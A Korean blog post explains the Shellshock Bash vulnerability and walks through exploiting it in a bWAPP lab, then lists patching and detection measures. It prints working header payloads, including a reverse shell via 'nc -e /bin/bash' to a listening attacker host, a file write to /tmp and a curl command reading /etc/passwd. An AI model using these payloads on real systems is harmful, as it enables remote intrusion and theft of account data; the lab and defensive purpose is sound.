ν‹°μŠ€ν† λ¦¬ λ·°

κ°œμš”

2014λ…„ 9μ›” μœ λ‹‰μŠ€(UNIX) 운영체제의 Bash Shellμ—μ„œ λ°œμƒν•œ μ·¨μ•½μ μž…λ‹ˆλ‹€. 같은 해에 OpenSSL의 문제둜 λ°œμƒν•œ Heartbleed 보닀 νŒŒκΈ‰νš¨κ³Όκ°€ λ”μš± 컸던 μ‚¬κ±΄μ΄μ—ˆμŠ΅λ‹ˆλ‹€.

 

μ‰˜ μ‡Όν¬μ˜ 경우 UNIX 이외에도 MAC OSX, Android, OpenBSD, DHCP Client, CGIλ₯Ό μ‚¬μš©ν•˜λŠ” μ›Ήμ„œλ²„ λ“± ν•΄λ‹Ή μš΄μ˜μ²΄μ œμ— μ·¨μ•½ν•œ Bash Shell을 μ‚¬μš©ν•˜λŠ” λͺ¨λ“  μš΄μ˜μ²΄μ œμ—μ„œ λ°œμƒν•˜μ˜€μœΌλ©° 무엇보닀 μ›κ²©μœΌλ‘œ μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜μ—¬ root κΆŒν•œμ„ νšλ“ν•˜κ±°λ‚˜ λŒ€μƒ μ„œλ²„μ— 직접 λͺ…령을 λ‚΄λ¦¬λŠ” 방법도 κ°€λŠ₯ν–ˆμŠ΅λ‹ˆλ‹€.

 

μ·¨μ•½ν•œ 버전

GNU Bash 4.3을 ν¬ν•¨ν•˜μ—¬ 이전 λͺ¨λ‘ bash-3.0-27.el4.2

bash-3.2-32.el5_9.2
bash-3.2-32.el5_9.1
bash-3.2-24.el5_6.1
bash-3.2-33.el5_11.1.sjis.1
bash-3.2-33.el5.1
bash-4.1.2-15.el6_4.1
bash-4.1.2-9.el6_2.1
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-15.el6_5.1
bash-4.2.45-5.el7_0.2

 

CGI(Common Gateway Interface) μ΄λž€

μ›Ή μ„œλ²„μ™€ 일반 ν”„λ‘œκ·Έλž¨μ„ μ—°κ³„ν•˜κΈ° μœ„ν•΄ λ§Œλ“€μ–΄μ§„ κ·œμ•½μœΌλ‘œ ν˜„μž¬λŠ” μ„œλ²„ μΈ‘ 언어인 asp, jsp, php κ°€ ν™œμ„±ν™”λ˜λ©΄μ„œ μ‚¬μš©ν•˜λŠ” 곳은 극히 λ“œλ¬Όκ²Œ λ˜μ—ˆμŠ΅λ‹ˆλ‹€.

 

μ΄λŠ” νŠΉμˆ˜ν•˜κ²Œ μ‘°μž‘λœ ν™˜κ²½λ³€μˆ˜λ₯Ό μ‚½μž…ν•˜κ²Œ 되면 λŒ€μƒ μ„œλ²„μ—μ„œλŠ” bash ν™˜κ²½λ³€μˆ˜ 내에 ν•˜λ‹¬λ°›μ€ λͺ…λ Ήμ–΄λ₯Ό μ‹€ν–‰μ‹œν‚€κ²Œ λ˜λŠ” λ°©μ‹μž…λ‹ˆλ‹€.

<!-- μ·¨μ•½ν•œ bash 버전인지 확인 -->
env x='() { :;}; echo vulnerable' bash -c "echo test"

μ•ˆμ „ν•œ 버전
μ·¨μ•½ν•œ 버전

취약점이 패치된 버전과 그렇지 μ•Šμ€ 버전을 확인해본 κ²°κ³Ό echo 좜λ ₯이 쑰금 ν‹€λ¦½λ‹ˆλ‹€.

 

ShellShock λŠ” ν™˜κ²½λ³€μˆ˜(env)λ₯Ό μ„ μ–Έν•˜λŠ” κ³Όμ •μ—μ„œ λ°œμƒν•˜λŠ”λ° ν™˜κ²½λ³€μˆ˜(var=) λ‹€μŒμ— ν•¨μˆ˜ μ„ μ–Έ () {return; }; 을 ν•΄μ•Ό ν•˜λŠ” 게 μ •μƒμ΄μ§€λ§Œ κ³΅κ²©μžκ°€ μž„μ˜μ μœΌλ‘œ μ‚½μž…ν•œ μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄( /bin/id )κΉŒμ§€ μ‹€ν–‰λ κ²½μš° 큰 λ¬Έμ œκ°€ λ°œμƒν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

포트번호 " 4545 " λ₯Ό 열어두고 λŒ€μƒ μ„œλ²„μ™€ 컀λ„₯μ…˜ ν•˜κΈ° μœ„ν•΄ μ˜€ν”ˆν•΄λ‘‘λ‹ˆλ‹€.

 

μ›Ή ν”„λ‘μ‹œ 도ꡬλ₯Ό 톡해 μž‘μ•„μ€€ ν›„ Referer 헀더λ₯Ό 곡격자 μ„œλ²„μ— μ…€ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜λŠ” κ³΅κ²©μ½”λ“œλ₯Ό μž…λ ₯ν•΄μ•Ό ν•©λ‹ˆλ‹€.

μ΅œμ‹  λ¦¬λˆ…μŠ€ ν™˜κ²½μ—μ„œλŠ” -e μ˜΅μ…˜( μƒν˜Έ 간에 Connection λ˜μ—ˆμ„ 경우 file을 exec μ‹œν‚΄ )이 곡격에 μ•…μš©λ  수 μžˆμ–΄μ„œ μ œν•œν•˜κ³  μžˆμŠ΅λ‹ˆλ‹€.

 

Referer 헀더 값에 μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ‚½μž…
() { :;}; echo "Vulnerable bWAPP:" $(/bin/sh -c "nc 192.168.0.20 4545 -e /bin/bash")

곡격에 성곡할 경우 4545 포트λ₯Ό μ—΄κ³  기닀리고 μžˆλŠ” κ³΅κ²©μžμ—κ²Œ μ„Έμ…˜μ„ 맺게 λœλ‹€.

 

λŒ€κΈ° 쀑인 ν„°λ―Έλ„λ‘œ λŒμ•„κ°€ 확인해보면 μ„±κ³΅μ μœΌλ‘œ λŒ€μƒ μ„œλ²„μ™€ Connection λ˜μ–΄ μ›ν•˜λŠ” μ‹œμŠ€ν…œ λͺ…λ Ήμ–΄λ₯Ό μ‚¬μš©ν•˜μ—¬ λ‹€μ–‘ν•œ 정보λ₯Ό νšλ“ν•˜κ³  좔가적인 Post Exploit을 μ‹œλ„ν•  μˆ˜κ°€ μžˆμŠ΅λ‹ˆλ‹€.

 

User-Agent 헀더λ₯Ό ν•˜λ‹¨μ˜ λ‚΄μš©μœΌλ‘œ μˆ˜μ •
() { :;}; echo bashtest>/tmp/guleum

CGI ν™˜κ²½μ˜ μ›Ήμ„œλ²„λ₯Ό λŒ€μƒμœΌλ‘œ Shell Shock을 μ‹œλ„ν•˜κΈ° μœ„ν•΄ User-Agent 헀더λ₯Ό μˆ˜μ •ν•˜μ—¬ λŒ€μƒ μ„œλ²„μ˜ μž„μ‹œλ””λ ‰ν† λ¦¬(tmp) 에 μ›ν•˜λŠ” νŒŒμΌμ„ μ—…λ‘œλ“œν•  수 μžˆμŠ΅λ‹ˆλ‹€.

 

μƒμœ„μ˜ λͺ…령을 톡해 λŒ€μƒ μž„μ‹œ 디렉터리에 파일이 μƒμ„±λœ 것을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

둜컬 κΆŒν•œ 일지라도 μ‰˜ 쇼크 취약점을 톡해 λŒ€μƒ μ„œλ²„μ— μ›Ήμ‰˜μ„ μ—…λ‘œλ“œν•˜κ³  μ ‘κ·Όν•˜μ—¬ λ‹€μ–‘ν•œ κΆŒν•œμ— μ ‘κ·Όν•˜λŠ” 것이 κ°€λŠ₯ν•΄μ§ˆ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

<!-- curl 을 톡해 파일 μ—΄λžŒ -->
curl -v -A "() { :;}; echo;/bin/cat /etc/passwd" http://192.168.0.131//bWAPP/cgi-bin/shellshock.sh

-v : μžμ„Ένžˆ 좜λ ₯
-A : User-Agent μ‚¬μš©

curl( Client URL )을 μ‚¬μš©ν•˜μ—¬ 확인해 λ³Ό μˆ˜λ„ μžˆμŠ΅λ‹ˆλ‹€. /bin/cat /etc/passwdλ₯Ό 톡해 λŒ€μƒ μ„œλ²„μ— μ‘΄μž¬ν•˜λŠ” μ‚¬μš©μž 계정 정보듀을 확인할 수 μžˆμŠ΅λ‹ˆλ‹€.

 

/etc/shadow νŒŒμΌκΉŒμ§€ 접근을 ν•˜κ³  μ‹Άλ‹€λ©΄ μ‹œμŠ€ν…œμ— μ‘΄μž¬ν•˜λŠ” 취약점을 μΆ”κ°€μ μœΌλ‘œ μ΄μš©ν•˜μ—¬ 둜컬 κΆŒν•œμ„ μƒμŠΉμ‹œμΌœμ•Ό ν•©λ‹ˆλ‹€.


λŒ€μ‘ λ°©μ•ˆ

λΉ„μŠ·ν•œ μ‹œκΈ°μ— λ°œμƒν–ˆλ˜ Heartbleed 취약점 보닀 μ•…μš©ν•˜λŠ” 방법도 맀우 쉽고 얻을 수 μžˆλŠ” 정보가 맀우 많기 λ•Œλ¬Έμ— κ·Έλ•Œ λ‹Ήμ‹œ λ³΄μ•ˆμ‹œμž₯μ—μ„œ 큰 μ΄μŠˆμ˜€μŠ΅λ‹ˆλ‹€.

ν˜„μž¬λŠ” 거의 λ°œκ²¬λ˜λŠ” 취약점이 μ•„λ‹ˆμ§€λ§Œ λ§Œμ•½ 가상 터미널 ν™˜κ²½μΈ Telnetμ΄λ‚˜ sshλ₯Ό μ°¨λ‹¨ν•˜μ—¬ 원격을 λ§‰λŠ”λ‹€ ν•˜λ”λΌλ„ 취약점을 μ΄μš©ν•΄ CGI 슀크립트λ₯Ό μ‚¬μš©ν•œλ‹€λ©΄ 곡격에 λ…ΈμΆœλ  κ°€λŠ₯성이 λ†’μŠ΅λ‹ˆλ‹€.

 

λ˜ν•œ Router, κ°€μ „μ œν’ˆ, 무선 μ•‘μ„ΈμŠ€ 포인트 같은 μž„λ² λ””λ“œ μž₯치의 κ²½μš°μ—λ„ λŒ€λΆ€λΆ€ λ¦¬λˆ…μŠ€ 기반으둜 λ™μž‘ν•˜κ³  정기적인 패치λ₯Ό ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

만일 이런 μž„λ² λ””λ“œ μž₯비듀이 침해될 κ²½μš°μ—λŠ” κ³΅κ²©μžλŠ” μ›κ²©μ§€μ—μ„œ μ›ν•˜λŠ” λŒ€λ‘œ μ‘°μž‘ν•˜κ³  논리적인 λ°©μ‹μœΌλ‘œ κΈ°κΈ°λ₯Ό μ˜€μž‘λ™μ‹œν‚¬ 수 μžˆμŠ΅λ‹ˆλ‹€.

 

(1) μ΅œμ‹  bash λ²„μ „μœΌλ‘œ μ—…λ°μ΄νŠΈ 
apt-get install bash 
yum -y update bash 

(2) IDS λ‚˜ IPSλ₯Ό 톡해 http 헀더 값에 () , { 같은 λ¬Έμžμ—΄μ΄ ν¬ν•¨λ˜μ–΄ μžˆλŠ”μ§€ 탐지 및 확인

 

(3) μ‚¬μš©ν•˜μ§€ μ•ŠλŠ” CGI μŠ€ν¬λ¦½νŠΈλŠ” λΉ„ν™œμ„±ν™”

 

 

 

'WEB' μΉ΄ν…Œκ³ λ¦¬μ˜ λ‹€λ₯Έ κΈ€

WebDAV 취약점  (0) 2020.10.25
robots.txt 정보 λ…ΈμΆœ 취약점  (0) 2020.10.24
SNMP 취약점 곡격  (0) 2020.10.22
SSL Strip 취약점  (0) 2020.10.21
둜컬 κΆŒν•œ μƒμŠΉ 취약점(udev)  (0) 2020.10.20
κ³΅μœ ν•˜κΈ° 링크
Comment